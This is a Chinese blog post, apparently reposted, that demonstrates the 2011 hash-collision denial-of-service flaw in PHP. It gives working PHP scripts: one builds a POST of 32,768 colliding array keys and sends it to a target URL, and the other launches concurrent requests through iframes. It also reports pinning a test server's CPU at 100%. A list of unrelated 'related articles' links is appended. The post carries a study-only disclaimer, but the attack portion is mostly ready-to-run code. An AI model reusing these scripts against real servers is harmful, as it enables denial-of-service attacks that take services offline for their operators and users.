参考网站:http://blog.csdn.net/linvo/article/details/7169718

声明:本文内容只用于研究学习使用,请勿用于非法行为!

上回咱说到了最近爆出的hash表碰撞漏洞,包括java、python、php等在内的很多常用语言均未幸免,今晚咱就来实际看看它的威力。

攻击原理:

通过向目标服务器post一组精心拼凑的数组参数,到达服务端后语言底层处理接收到的数组参数时,由于该漏洞的存在造成CPU的大量消耗,最终导致服务器资源耗尽。

不用什么花哨的手法,就用PHP简单实现下看下效果,点到即止。

文件:dos.php

    // 目标地址  // 只要目标地址存在,不用管它是干嘛的  $host = 'http://127.0.0.1/test.php';   $data = '';  $size = pow(2, 15);  for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)  {  $data .= '&array[' . $key . ']=0';  }  $ret = curl($host, ltrim($data,'&'));  var_dump($ret);  function curl($url, $post, $timeout = 30){  $ch = curl_init();  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);  curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);  curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));    curl_setopt($ch, CURLOPT_URL, $url);  curl_setopt($ch, CURLOPT_POST, true);  curl_setopt($ch, CURLOPT_POSTFIELDS, $post);  $output = curl_exec($ch);  if ($output === false) return false;  $info = curl_getinfo($ch);  $http_code = $info['http_code'];  if ($http_code == 404) return false;  curl_close($ch);  return $output;  }  

文件:ddos.php

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  <html xmlns="http://www.w3.org/1999/xhtml">  <head>  <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />  <title>DDOS</title>  </head>  <body>  <?php  for($i=0; $i<5; $i++){//并发数  echo '<iframe src="dos.php?a='.$i.'" scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe>';  }  ?>  </body>  </html>  

虽然我的测试目标服务器是台虚拟机,但仅用了2个并发就使目标机CPU飙到了100%。但是100%的CPU占用并不代表着就已经拒绝服务,点到为止:)

----------------------------------------------- 华丽丽的分割线 ----------------------------------------------------------

就在写这篇的时候,时间已步入2012,祝大家新年快乐,笑口常开:D

通过PHP的hash冲突漏洞进行DDoS攻击相关推荐

  1. 解决hash冲突的常用方法

    解决hash冲突的常用方法 参考文章: (1)解决hash冲突的常用方法 (2)https://www.cnblogs.com/fxtx/p/11588581.html (3)https://www. ...

  2. HashMap解决hash冲突的方法

    HashMap解决hash冲突的方法 博客分类: jvm虚拟机 在Java编程语言中,最基本的结构就是两种,一种是数组,一种是模拟指针(引用),所有的数据结构都可以用这两个基本结构构造,HashMap ...

  3. hashMap怎么解决hash冲突的

    2019独角兽企业重金招聘Python工程师标准>>> 学Java的都知道hashMap的底层是"链表散列"的数据结构也也可以说是hash表.在put的实话先根据 ...

  4. Algorithm:C++语言实现之SimHash和倒排索引算法相关(抽屉原理、倒排索、建立查找树、处理Hash冲突、Hash查找)

    Algorithm:C++语言实现之SimHash和倒排索引算法相关(抽屉原理.倒排索.建立查找树.处理Hash冲突.Hash查找) 目录 一.SimHash算法 1.SimHash算法五个步骤 2. ...

  5. HashMap的hash冲突解决方案

    Hash函数 非哈希表的特点:关键字在表中的位置和它之间不存在一个确定的关系,查找的过程为给定值一次和各个关键字进行比较,查找的效率取决于和给定值进行比较的次数. 哈希表的特点:关键字在表中位置和它之 ...

  6. hash hashcode变化_没想到 Hash 冲突还能这么玩,你的服务中招了吗?

    图 by: 石头 背景 其实这个问题我之前也看到过,刚好在前几天,洪教授在某个群里分享的一个<一些有意思的攻击手段.pdf>,我觉得这个话题应该还是有不少人不清楚的,今天我就准备来&quo ...

  7. hash冲突解决和javahash冲突解决

    其实就是四种方法的演变 1.开放定址法 具体就是把数据的标志等的对长度取模 有三种不同的取模 线性探测再散列 给数据的标志加增量,取模 平方探测再散列 给数据的标志平方,取模 随机探测再散列 把数据的 ...

  8. Hash冲突处理终极版

    对于Hash,我们是怎样来处理冲突的.现在就来介绍一些经典的Hash冲突处理的方法.主要包括 (1)开放地址法 (2)拉链法 (3)再哈希法 (4)建立公共溢出区 (1)开放地址法     基本思想: ...

  9. Hash冲突的解决--暴雪的Hash算法

    Hash冲突的解决--暴雪的Hash算法 https://usench.iteye.com/blog/2199399 https://www.bbsmax.com/A/kPzOO7a8zx/ 转载于: ...

最新文章

  1. ssh,FTP到远程服务器时,显示自定义的警告信息
  2. java基础学习(2)-java基本数据类型
  3. shell字符串的处理
  4. 前端——JavaScript
  5. aspnet_Users中LastActiveDate的问题
  6. xxxx is not found in PojoType<Order, fields = [amount: Integer, product: String, user: Long]>
  7. 模拟 hihoCoder 1177 顺子
  8. 特征工程之非线性特征提取和模型堆叠
  9. 面向对象——面向客户端编程
  10. 基建管控系统_基建项目管理系统
  11. WEB前端是干什么的?
  12. 火山图——直观的特征差异可视化
  13. 解析大型门户网站教给我们的PV增加技巧
  14. 司铭宇讲师为平安人寿保险300位管理层培训《新生代员工的管理与激励》企业内训
  15. exe msdt 无法上网_msdt.exe文件下载
  16. C语言和设计模式-工厂方法
  17. 分门别类刷leetcode——二叉查找树(C++实现)
  18. TA(技术美术)宝藏网站
  19. Kali 开机报错解决方案
  20. python代码图片头像_python图像处理-个性化头像

热门文章

  1. 全球首个有机硅皮革量产落地,将率先用于超跑SUV高合HiPhi X上
  2. Java自动化测试(Hybrid应用自动化 35)
  3. GWAS理论 1-5 全基因组关联分析结果解读与经典案例介绍
  4. GPT-4 发布,杀疯了!
  5. 「巨魔,终极奥义!」
  6. 绕过问题和非主显账号加QQ好友
  7. Flutter 与 原生交互(Android),关于Android开发的面试经验总结
  8. python chrome headless_Chrome headless 模式
  9. Hive中row_number()函数用法详解及示例
  10. 2.2线性表——单链表基本操作的实现